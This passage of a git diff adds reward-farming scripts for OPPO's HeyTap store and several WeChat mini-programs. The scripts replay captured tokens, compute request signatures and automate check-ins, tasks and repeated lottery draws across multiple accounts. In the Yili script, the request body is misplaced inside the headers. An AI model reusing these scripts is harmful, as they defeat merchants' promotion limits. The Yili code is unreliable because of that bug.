"https://store.oppo.com/cn/oapi/users/web/member/info", headers=headers + ) + response.encoding = "utf-8" + try: + res = response.json() + if res["code"] == 200: + self.log += f'======== {res["data"]["userName"]} ========\n' + self.log += ( + "【登录成功】:" + res["data"]["userName"] + f"\n【抽奖开关】:{self.if_draw}\n" + ) + flag = True + else: + self.log += "【登录失败】:" + res["errorMessage"] + "\n" + except Exception as e: + self.log += f"【登录】:错误,原因为: {str(e)}" + "\n" + + if flag: + self.get_cookie_data() + return self.session + return False + + # 任务中心列表,获取任务及任务状态 + def taskCenter(self): + headers = { + "Host": self.host1, + "Accept": self.accept, + "Content-Type": self.content_type1, + "Connection": "keep-alive", + "User-Agent": self.user_agent, + "Accept-Language": "zh-cn", + "Accept-Encoding": self.accept_encoding1, + "cookie": self.cookies, + "referer": "https://store.oppo.com/cn/app/taskCenter/index", + } + res1 = self.client.get( + "https://store.oppo.com/cn/oapi/credits/web/credits/show", headers=headers + ) + res1 = res1.json() + return res1 + + # 每日签到 + # 位置: APP → 我的 → 签到 + def daily_bonus(self): + try: + dated = time.strftime("%Y-%m-%d") + headers = { + "Host": self.host1, + "Accept": self.accept, + "Content-Type": self.content_type1, + "Connection": "keep-alive", + "User-Agent": self.user_agent, + "Accept-Language": "zh-cn", + "Accept-Encoding": self.accept_encoding1, + "cookie": self.cookies, + "referer": "https://store.oppo.com/cn/app/taskCenter/index", + } + res = self.taskCenter() + status = res["data"]["userReportInfoForm"]["status"] + if status == 0: + res = res["data"]["userReportInfoForm"]["gifts"] + for data in res: + if data["date"] == dated: + qd = data + if not qd["today"]: + data = self.amount + str(qd["credits"]) + res1 = self.client.post( + "https://store.oppo.com/cn/oapi/credits/web/report/immediately", + headers=headers, + data=data, + ) + res1 = res1.json() + if res1["code"] == 200: + self.log += "【每日签到成功】:" + res1["data"]["message"] + "\n" + else: + self.log += f"【每日签到失败】:{res1}" + "\n" + else: + # print(str(qd["credits"]), str(qd["type"]), str(qd["gift"])) + data = ( + ( + self.amount + + str(qd["credits"]) + + "&type=" + + str(qd["type"]) + + "&gift=" + + str(qd["gift"]) + ) + if qd["type"] + else self.amount + str(qd["credits"]) + ) + + res1 = self.client.post( + "https://store.oppo.com/cn/oapi/credits/web/report/immediately", + headers=headers, + data=data, + ) + res1 = res1.json() + if res1["code"] == 200: + self.log += "【每日签到成功】:" + res1["data"]["message"] + "\n" + else: + self.log += f"【每日签到失败】:{str(res1)}" + "\n" + else: + self.log += "【每日签到】:已经签到过了!\n" + time.sleep(1) + except Exception as e: + self.log += f"【每日签到】:错误,原因为: {str(e)}" + "\n" + + # 浏览商品 10个sku +20 分 + # 位置: APP → 我的 → 签到 → 每日任务 → 浏览商品 + def daily_viewgoods(self): + self.log += "【每日浏览商品】\n" + try: + headers = { + "clientPackage": self.client_package, + "Host": self.host2, + "Accept": self.accept, + "Content-Type": self.content_type1, + "Connection": "keep-alive", + "User-Agent": self.user_agent2, + "Accept-Encoding": "gzip", + "cookie": self.cookies, + } + res = self.taskCenter() + res = res["data"]["everydayList"] + for data in res: + if data["name"] == "浏览商品": + if data["completeStatus"] == 0: + # 原链接貌似获取不到商品id,更换一个 原链接https://msec.opposhop.cn/goods/v1/SeckillRound/goods/3016?pageSize=12¤tPage=1 + shoplist = self.client.get( + "https://msec.opposhop.cn/goods/v1/products/010239" + ) + res = shoplist.json() + if res["meta"]["code"] == 200: + i = 0 + for skuinfo in res["details"][0]["infos"]: + skuid = skuinfo["skuId"] + self.client.get( + "https://msec.opposhop.cn/goods/v1/info/sku?skuId=" + + str(skuid), + headers=headers, + ) + i += 1 + if i > 10: + break + time.sleep(7) + res2 = self.cashingCredits( + data["marking"], data["type"], data["credits"] + ) + if res2: + self.log += self.point_got + str(data["credits"]) + "\n" + else: + self.log += self.point_err + else: + self.log += "错误,获取商品列表失败\n" + elif data["completeStatus"] == 1: + res2 = self.cashingCredits( + data["marking"], data["type"], data["credits"] + ) + if res2: + self.log += self.point_got + str(data["credits"]) + "\n" + else: + self.log += self.point_err + else: + self.log += self.done_msg + except Exception as e: + self.log += self.err_msg + str(e) + "\n" + + def daily_sharegoods(self): + self.log += "【每日分享商品】\n" + try: + headers = { + "clientPackage": self.client_package, + "Host": self.host2, + "Accept": self.accept, + "Content-Type": self.content_type1, + "Connection": "keep-alive", + "User-Agent": self.user_agent2, + "Accept-Encoding": "gzip", + "cookie": self.cookies, + } + daysignlist = self.taskCenter() + res = daysignlist + res = res["data"]["everydayList"] + for data in res: + if data["name"] == "分享商品到微信": + qd = data + if qd["completeStatus"] == 0: + count = qd["readCount"] + endcount = qd["times"] + while count <= endcount: + self.client.get( + "https://msec.opposhop.cn/users/vi/creditsTask/pushTask?marking=daily_sharegoods", + headers=headers, + ) + count += 1 + res2 = self.cashingCredits(qd["marking"], qd["type"], qd["credits"]) + if res2: + self.log += self.point_got + str(qd["credits"]) + "\n" + else: + self.log += self.point_err + elif qd["completeStatus"] == 1: + res2 = self.cashingCredits(qd["marking"], qd["type"], qd["credits"]) + if res2: + self.log += self.point_got + str(qd["credits"]) + "\n" + else: + self.log += self.point_err + else: + self.log += self.done_msg + except Exception as e: + self.log += self.err_msg + str(e) + "\n" + + # 执行完成任务领取奖励 + def cashingCredits(self, info_marking, info_type, info_credits): + data = f"marking={str(info_marking)}&type={str(info_type)}&amount={str(info_credits)}" + + headers = { + "Host": self.host1, + "clientPackage": self.client_package, + "Accept": "application/json, text/plain, */*", + "Content-Type": self.content_type1, + "Connection": "keep-alive", + "User-Agent": self.user_agent, + "Accept-Language": "zh-cn", + "Accept-Encoding": self.accept_encoding1, + "cookie": self.cookies, + "Origin": "https://store.oppo.com", + "X-Requested-With": self.client_package, + "referer": "https://store.oppo.com/cn/app/taskCenter/index?us=gerenzhongxin&um=hudongleyuan&uc=renwuzhongxin", + } + + res = self.client.post( + "https://store.oppo.com/cn/oapi/credits/web/credits/cashingCredits", + data=data, + headers=headers, + ) + + res = res.json() + + return res["code"] == 200 + + # 活动平台抽奖通用接口 + def lottery(self, datas, referer="", extra_draw_cookie=""): + + headers = { + "Host": "hd.oppo.com", + "User-Agent": self.user_agent, + "Cookie": extra_draw_cookie + self.cookies, + "Referer": referer, + "Accept": "application/json, text/javascript, */*; q=0.01", + "Accept-Language": "zh-cn", + "Accept-Encoding": "br, gzip, deflate", + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", + } + res = self.client.get("https://hd.oppo.com/user/login", headers=headers).json() + if res["no"] == "200": + res = self.client.post( + "https://hd.oppo.com/platform/lottery", data=datas, headers=headers + ) + res = res.json() + return res + + # 活动平台完成任务接口 + def task_finish(self, aid, t_index): + headers = { + "Accept": "application/json, text/plain, */*;q=0.01", + "Content-Type": self.content_type2, + "Connection": "keep-alive", + "User-Agent": self.user_agent, + "Accept-Encoding": self.accept_encoding2, + "cookie": self.cookies, + "Origin": "https://hd.oppo.com", + "X-Requested-With": "XMLHttpRequest", + } + datas = f"aid={str(aid)}&t_index={str(t_index)}" + res = self.client.post( + "https://hd.oppo.com/task/finish", data=datas, headers=headers + ) + res = res.json() + return res + + # 活动平台领取任务奖励接口 + def task_award(self, aid, t_index): + headers = { + "Accept": "application/json, text/plain, */*;q=0.01", + "Content-Type": self.content_type2, + "Connection": "keep-alive", + "User-Agent": self.user_agent, + "Accept-Encoding": self.accept_encoding2, + "cookie": self.cookies, + "Origin": "https://hd.oppo.com", + "X-Requested-With": "XMLHttpRequest", + } + datas = f"aid={str(aid)}&t_index={str(t_index)}" + res = self.client.post( + "https://hd.oppo.com/task/award", data=datas, headers=headers + ) + res = res.json() + return res + + # 做活动任务和抽奖通用接口 hss修改 + def do_task_and_draw(self): + try: + + for act_list in self.act_task: + act_name = act_list["act_name"] + aid = act_list["aid"] + referer = act_list["referer"] + end_time = act_list["end_time"] + headers = { + "Accept": "application/json, text/javascript, */*; q=0.01", + "Connection": "keep-alive", + "User-Agent": self.user_agent, + "Accept-Encoding": self.accept_encoding2, + "cookie": self.cookies, + "X-Requested-With": "XMLHttpRequest", + "Referer": referer, + } + dated = int(time.time()) + end_time = time.mktime( + time.strptime(end_time, "%Y-%m-%d %H:%M:%S") + ) # 设置活动结束日期 + + if dated < end_time: + if_task = act_list["if_task"] + if if_task: + res = self.client.get( + f"https://hd.oppo.com/task/list?aid={aid}", headers=headers + ) + tasklist = res.json() + self.log += f"【{act_name}-任务】\n" + for jobs in tasklist["data"]: + title = jobs["title"] + t_index = jobs["t_index"] + aid = t_index[: t_index.index("i")] + if jobs["t_status"] == 0: + finishmsg = self.task_finish(aid, t_index) + if finishmsg["no"] == "200": + time.sleep(1) + awardmsg = self.task_award(aid, t_index) + msg = awardmsg["msg"] + self.log += f"{title}:{msg}\n" + time.sleep(3) + elif jobs["t_status"] == 1: + awardmsg = self.task_award(aid, t_index) + msg = awardmsg["msg"] + self.log += f"{title}:{msg}\n" + time.sleep(3) + else: + self.log += f"{title}:任务已完成\n" + if_draw = act_list["if_draw"] + if self.if_draw and if_draw: # 判断当前用户是否抽奖 和 判断当前活动是否抽奖 + lid = act_list["lid"] + extra_draw_cookie = act_list["extra_draw_cookie"] + draw_times = act_list["draw_times"] + self.log += f"【{act_name}-抽奖】:" + x = 0 + while x < draw_times: + data = f"aid={aid}&lid={lid}&mobile=&authcode=&captcha=&isCheck=0&source_type={self.source_type}&s_channel={self.s_channel}&sku=&spu=" + res = self.lottery(data, referer, extra_draw_cookie) + msg = res["msg"] + if "次数已用完" in msg: + self.log += f" 第{str(x + 1)}" + "抽奖:抽奖次数已用完\n" + break + if "活动已结束" in msg: + self.log += f" 第{str(x + 1)}" + "抽奖:活动已结束,终止抽奖\n" + break + goods_name = res["data"]["goods_name"] + if goods_name: + self.log += ( + f" 第{str(x + 1)}次抽奖:{str(goods_name)}" + "\n" + ) + elif "提交成功" in msg: + self.log += f" 第{str(x + 1)}" + "次抽奖:未中奖\n" + x += 1 + time.sleep(5) + else: + self.log += f"【{act_name}】:活动已结束,不再执行\n" + except Exception as e: + self.log += f"【执行任务和抽奖】:错误,原因为: {str(e)}" + "\n" + + # 早睡打卡 + def zaoshui_task(self): + try: + headers = { + "Host": self.host1, + "Connection": "keep-alive", + "s_channel": self.s_channel, + "utm_term": "direct", + "utm_campaign": "direct", + "utm_source": "direct", + "ut": "direct", + "uc": "zaoshuidaka", + "sa_device_id": self.sa_device_id, + "guid": self.sa_device_id, + "sa_distinct_id": self.sa_distinct_id, + "clientPackage": self.client_package, + "Cache-Control": "no-cache", + "um": "hudongleyuan", + "User-Agent": self.user_agent, + "ouid": "", + "Accept": "application/json, text/plain, */*", + "source_type": self.source_type, + "utm_medium": "direct", + "brand": "iPhone", + "appId": "", + "s_version": self.s_version, + "us": "gerenzhongxin", + "appKey": "", + "X-Requested-With": self.client_package, + "Referer": "https://store.oppo.com/cn/app/cardingActivities?utm_source=opposhop&utm_medium=task", + "Accept-Encoding": self.accept_encoding2, + "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + "cookie": self.cookies, + } + res = self.client.get( + "https://store.oppo.com/cn/oapi/credits/web/clockin/applyOrClockIn", + headers=headers, + ).json() + if "余额不足" in str(res): + self.log += "【早睡打卡】:申请失败,积分余额不足\n" + else: + applyStatus = res["data"]["applyStatus"] + # 2 19:30打卡成功 0 8:00打卡成功 + if applyStatus == 0: + self.log += "【早睡打卡】:申请失败,积分不足或报名时间已过\n" + elif applyStatus == 1: + self.log += "【早睡打卡】:报名成功,请当天19:30-22:00留意打卡状态\n" + elif applyStatus == 2: + self.log += "【早睡打卡】:已报名成功,请当天19:30-22:00留意打卡状态\n" + if res["data"]["clockInStatus"] == 1: + self.log += "【早睡打卡】:打卡成功,积分将于24:00前到账\n" + if res["data"]["clockInStatus"] == 2: + self.log += "【早睡打卡】:打卡成功,积分将于24:00前到账\n" + # 打卡记录 + res = self.client.get( + "https://store.oppo.com/cn/oapi/credits/web/clockin/getMyRecord", + headers=headers, + ).json() + if res["code"] == 200: + record = res["data"]["everydayRecordForms"] + self.log += "【早睡打卡记录】\n" + i = 0 + for data in record: + self.log += ( + data["everydayDate"] + + "-" + + data["applyClockInStatus"] + + ":" + + data["credits"] + + "\n" + ) + i += 1 + if i == 4: # 最多显示最近4条记录 + break + + except Exception as e: + self.log += f"【早睡打卡】:错误,原因为: {str(e)}" + "\n" + + # 主程序 + def main(self): + for i, check_item in enumerate(self.check_items, start=1): + self.cookies = check_item.get("cookie") + self.user_agent = check_item.get("useragent") + self.if_draw = check_item.get("draw") + self.client = self.get_user_info() + if self.client: + try: + self.daily_bonus() # 执行每日签到 + self.daily_viewgoods() # 执行每日商品浏览任务 + self.daily_sharegoods() # 执行每日商品分享任务 + self.do_task_and_draw() # 自己修改的接口,针对活动任务及抽奖,新增及删除活动请修改act_list.py + # self.zaoshui_task() # 早睡报名 由于自己不能及时更新cookie,就关闭了打卡 + except Exception as e: + self.log += f"账号{i}执行出错:{e}\n" + else: + self.log += f"账号{i}已失效,请及时更新cookies\n" + self.log += "\n\n" + return self.log + + +if __name__ == "__main__": + _data = get_data() + _check_items = _data.get("HEYTAP", []) + result = Heytap(check_items=_check_items).main() + send("欢太商城", result) diff --git a/脚本库/微信小程序/抓包版/波司登小程序/2025-06-28_波司登_8f296880.js b/脚本库/微信小程序/抓包版/波司登小程序/2025-06-28_波司登_8f296880.js new file mode 100644 index 0000000..9df5bbf --- /dev/null +++ b/脚本库/微信小程序/抓包版/波司登小程序/2025-06-28_波司登_8f296880.js @@ -0,0 +1,197 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E6%B3%A2%E5%8F%B8%E7%99%BB.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E6%B3%A2%E5%8F%B8%E7%99%BB.js +// # Repo: jdqlscript/toulu +// # Path: 波司登.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: 8f296880e5285cf15f4f1e06bf81da594b953ef6a16466a6ac951ed1c8de187f +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: smallfawn +@Date: 2024.06.09 10.04 +@Description: 波司登小程序 每日签到 +------------------------------------------ +变量名bosideng +变量值 抓https://gwuop.bsdits.cn/points-mall/ 请求头Headers中x-access-token的值和 +https://gbpapihost.bsdits.cn/v3/projects/bfe7825ce8dd5cec/collect POST请求中请求体的gioId或deviceId或userId + +两个值拼接# 例如89f...........#o15uuuuu_mf-SSS +多账号&或换行或新建同名变量 +如果找不到第二个值 那么请进入签到页面找到https://gwuop.bsdits.cn/points-mall/front/member/ 开头的 /activities/1/records结尾的 中间的就是第二个值 +[Script] +http-response + +[MITM] +hostname = + +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const $ = new Env("波司登小程序"); +let ckName = `bosideng`; +let userCookie = checkEnv( + ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || "" +); +const notify = $.isNode() ? require("./sendNotify") : ""; + +!(async () => { + console.log( + `==================================================\n 脚本执行 - 北京时间(UTC+8): ${new Date( + new Date().getTime() + + new Date().getTimezoneOffset() * 60 * 1000 + + 8 * 60 * 60 * 1000 + ).toLocaleString()} \n==================================================` + ); + //console.log(userCookie) + if (!userCookie?.length) return console.log(`没有找到CK哦`); + let index = 1; + let strSplitor = "#"; + + for (let user of userCookie) { + $.log(`\n🚀 user:【${index}】 start work\n`); + index++ + $.token = user.split(strSplitor)[0] + $.union_id = user.split(strSplitor)[1] + $.ckStatus = true; + await records() + } + + await $.sendMsg($.logs.join("\n")); +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); +function getTime() { + // 创建Date对象 + const now = new Date(); + // 获取年、月、日、时、分、秒,并格式化为两位数 + const year = now.getFullYear(); + const month = String(now.getMonth() + 1).padStart(2, '0'); // getMonth返回的是0-11,所以需要+1 + const day = String(now.getDate()).padStart(2, '0'); + const hours = String(now.getHours()).padStart(2, '0'); + const minutes = String(now.getMinutes()).padStart(2, '0'); + const seconds = String(now.getSeconds()).padStart(2, '0'); + const timestampStr = `${year}${month}${day}${hours}${minutes}${seconds}`; + return timestampStr + // 调用函数并打印结果 +} +function MD5(data) { + let crypto = require('crypto') + return crypto.createHash('md5').update(data).digest('hex') +} +async function records() { + let time = getTime() + let nonce = $.uuid() + let text = `${$.union_id}${$.token}${time}${nonce}` + let config = { + method: 'GET', + url: `https://gwuop.bsdits.cn/points-mall/front/member/${$.union_id}/activities/1/records`, + headers: { + 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/122.0.6261.120 Mobile Safari/537.36 XWEB/1220089 MMWEBSDK/20240404 MMWEBID/8150 MicroMessenger/8.0.49.2600(0x28003156) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android', + 'Accept-Encoding': 'gzip,compress,br,deflate', + 'charset': 'utf-8', + 'x-nonce': nonce, + 'x-datadog-sampling-priority': '1', + 'x-timestamp': time, + 'x-datadog-origin': 'rum', + 'bgno': 'BOSIDENG', + 'x-signature': MD5(text).toUpperCase(), + 'content-type': 'application/json', + 'x-login-type': 'MiniProgram', + 'x-access-token': $.token, + 'Referer': 'https://servicewechat.com/wx3f8f90e766e5c545/355/page-frame.html' + } + }; + + let { data: result } = await Request(config) + if (result.code == 200) { + if (result.result.isSigned !== 1) { + $.log(`未签到 ===> 签到ing`) + await signIn() + } else { + $.log(`已签到 ===> 什么都不做`) + } + $.log(`🎉 签到信息查询成功,当前签到${result.result.signedDay}天 本次签到获得积分[${result.result.records[0].rewardPoints}]`) + } else { + $.log(`❌ 签到信息查询失败,原因:${result.message}`) + } +} +async function signIn() { + let data = JSON.stringify({}); + let time = getTime() + let nonce = $.uuid() + let text = `${$.union_id}${$.token}${time}${nonce}` + let config = { + method: 'POST', + url: 'https://gwuop.bsdits.cn/points-mall/front/points/', + headers: { + 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/122.0.6261.120 Mobile Safari/537.36 XWEB/1220089 MMWEBSDK/20240404 MMWEBID/8150 MicroMessenger/8.0.49.2600(0x28003156) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android', + 'Accept-Encoding': 'gzip,compress,br,deflate', + 'charset': 'utf-8', + 'x-nonce': nonce, + 'x-datadog-sampling-priority': '1', + 'x-timestamp': time, + 'x-datadog-origin': 'rum', + 'bgno': 'BOSIDENG', + 'x-signature': MD5(text).toUpperCase(), + 'content-type': 'application/json', + 'x-login-type': 'MiniProgram', + 'x-access-token': $.token, + 'Referer': 'https://servicewechat.com/wx3f8f90e766e5c545/355/page-frame.html' + }, + data: data + }; + let { data: result } = await Request(config) + if (result.code == 200) { + $.log(result) + $.log(`🎉 签到成功`) + } else { + $.log(`❌ 签到失败,原因:${result.message}`) + } +} + + +function checkEnv(userCookie) { + const envSplitor = ["&", "\n"]; + console.log(userCookie); + let userList = userCookie + .split(envSplitor.find((o) => userCookie.includes(o)) || "&") + .filter((n) => n); + console.log(`共找到${userList.length}个账号`); + return userList; +} +// prettier-ignore +function Env(t, s) { return new (class { constructor(t, s) { this.name = t; this.logs = []; this.logSeparator = "\n"; this.startTime = new Date().getTime(); Object.assign(this, s); this.log("", `\ud83d\udd14${this.name},\u5f00\u59cb!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } queryStr(options) { return Object.entries(options).map(([key, value]) => `${key}=${typeof value === "object" ? JSON.stringify(value) : value}`).join("&") } getURLParams(url) { const params = {}; const queryString = url.split("?")[1]; if (queryString) { const paramPairs = queryString.split("&"); paramPairs.forEach((pair) => { const [key, value] = pair.split("="); params[key] = value }) } return params } isJSONString(str) { try { return JSON.parse(str) && typeof JSON.parse(str) === "object" } catch (e) { return false } } isJson(obj) { var isjson = typeof obj == "object" && Object.prototype.toString.call(obj).toLowerCase() == "[object object]" && !obj.length; return isjson } async sendMsg(message) { if (!message) return; if (this.isNode()) { await notify.sendNotify(this.name, message) } else { this.msg(this.name, "", message) } } randomNumber(length) { const characters = "0123456789"; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join("") } randomString(length) { const characters = "abcdefghijklmnopqrstuvwxyz0123456789"; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join("") } uuid() { return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function (c) { var r = (Math.random() * 16) | 0, v = c == "x" ? r : (r & 0x3) | 0x8; return v.toString(16) }) } time(t) { let s = { "M+": new Date().getMonth() + 1, "d+": new Date().getDate(), "H+": new Date().getHours(), "m+": new Date().getMinutes(), "s+": new Date().getSeconds(), "q+": Math.floor((new Date().getMonth() + 3) / 3), S: new Date().getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in s) { new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ("00" + s[e]).substr(("" + s[e]).length))) } return t } msg(title = t, subtitle = "", body = "", options) { const formatOptions = (options) => { if (!options) { return options } else if (typeof options === "string") { if (this.isQuanX()) { return { "open-url": options } } else { return undefined } } else if (typeof options === "object" && (options["open-url"] || options["media-url"])) { if (this.isQuanX()) { return options } else { return undefined } } else { return undefined } }; if (!this.isMute) { if (this.isQuanX()) { $notify(title, subtitle, body, formatOptions(options)) } } let logs = ["", "==============📣系统通知📣=============="]; logs.push(title); subtitle ? logs.push(subtitle) : ""; body ? logs.push(body) : ""; console.log(logs.join("\n")); this.logs = this.logs.concat(logs) } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, s) { const e = !this.isQuanX(); e ? this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t) } wait(t) { return new Promise((s) => setTimeout(s, t)) } done(t = {}) { const s = new Date().getTime(), e = (s - this.startTime) / 1e3; this.log("", `\ud83d\udd14${this.name},\u7ed3\u675f!\ud83d\udd5b ${e}\u79d2`); this.log(); if (this.isNode()) { process.exit(1) } if (this.isQuanX()) { $done(t) } } })(t, s) } + +async function Request(options) { + if ($.isNode()) { + const axios = require("axios"); + Request = async (options) => { + try { + return await axios.request(options); + } catch (error) { + return error && error.error ? error.error : "请求失败"; + } + }; + } + if ($.isQuanX()) { + Request = async (options) => { + try { + return await $task.fetch(options); + } catch (error) { + return error && error.error ? error.error : "请求失败"; + } + }; + } + return await Request(options); +} \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/活力伊利小程序/2026-05-14_hlyl_eaf5ac9b.js b/脚本库/微信小程序/抓包版/活力伊利小程序/2026-05-14_hlyl_eaf5ac9b.js new file mode 100644 index 0000000..88177f0 --- /dev/null +++ b/脚本库/微信小程序/抓包版/活力伊利小程序/2026-05-14_hlyl_eaf5ac9b.js @@ -0,0 +1,131 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/daily/hlyl.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/hlyl.js +// # Repo: smallfawn/QLScriptPublic +// # Path: daily/hlyl.js +// # UploadedAt: 2026-05-14T17:47:57+08:00 +// # SHA256: eaf5ac9bd01b8550cc46d6fcdf737b8d573b931e3ed4454633a00a0ad9657066 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: sm +@Date: 2024.06.07 19:15 +@Description: 活力伊利小程序签到 +cron: 30 8 * * * +------------------------------------------ +#Notice: +变量名 hlyl +抓取 https://msmarket.msx.digitalyili.com/请求头access-token 多账户&或换行 + +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { Env } = require("../tools/env") +const $ = new Env("活力伊利小程序"); +let ckName = `hlyl`; +const strSplitor = "#"; +const axios = require("axios"); +const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" + + +class Task { + constructor(env) { + this.index = $.userIdx++ + this.user = env.split(strSplitor); + this.token = this.user[0]; + + } + + async run() { + + await this.signIn() + } + + async signIn() { + let options = { + method: 'POST', + url: `https://msmarket.msx.digitalyili.com/gateway/api/member/daily/sign`, + headers: { + + "accept": "*/*", + "accept-language": "zh-CN,zh;q=0.9", + "access-token": "" + this.token, + "atv-page": "", + "content-type": "application/json", + "forward-appid": "", + "priority": "u=1, i", + "register-source": "", + "scene": "1145", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "cross-site", + "source-type": "", + "tenant-id": "", + "xweb_xhr": "1" + + + , data: { + + } + } + } + let { data: result } = await axios.request(options); + if (result?.status == true) { + //打印签到结果 + $.log(`🌸账号[${this.index}]` + `🕊签到获得${result.data.dailySign.bonusPoint}分🎉`); + } else { + $.log(`🌸账号[${this.index}] 签到-失败:${result.error}❌`) + } + + + + + } + + + + + + + + +} + +!(async () => { + await getNotice() + $.checkEnv(ckName); + + for (let user of $.userList) { + await new Task(user).run(); + } +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout: 3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) { } + +} diff --git a/脚本库/微信小程序/抓包版/浓五的酒馆/2026-05-14_nwdjg_6f50bb3e.js b/脚本库/微信小程序/抓包版/浓五的酒馆/2026-05-14_nwdjg_6f50bb3e.js new file mode 100644 index 0000000..d79e5a5 --- /dev/null +++ b/脚本库/微信小程序/抓包版/浓五的酒馆/2026-05-14_nwdjg_6f50bb3e.js @@ -0,0 +1,212 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/nwdjg.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/nwdjg.js +// # Repo: smallfawn/QLScriptPublic +// # Path: wxapp/nwdjg.js +// # UploadedAt: 2026-05-14T17:47:57+08:00 +// # SHA256: 6f50bb3ee6aff7cd15d364eeb32932ff1c7d808bbf1f0d64724df54708156411 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: sm +@Date: 2024.06.07 19:15 +@Description: +cron: 30 9 * * * +------------------------------------------ +#Notice: +浓五的酒馆 微信小程序 签到得积分 +WeChatCodeServer 填写wx_server_url wx_auth 用于获取code +变量名称:nwdjg +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { + Env +} = require("../tools/env") +const $ = new Env("浓五的酒馆"); +const WeChatServer = require("./wcs.js"); +let ckName = `nwdjg`; +const strSplitor = "#"; +const 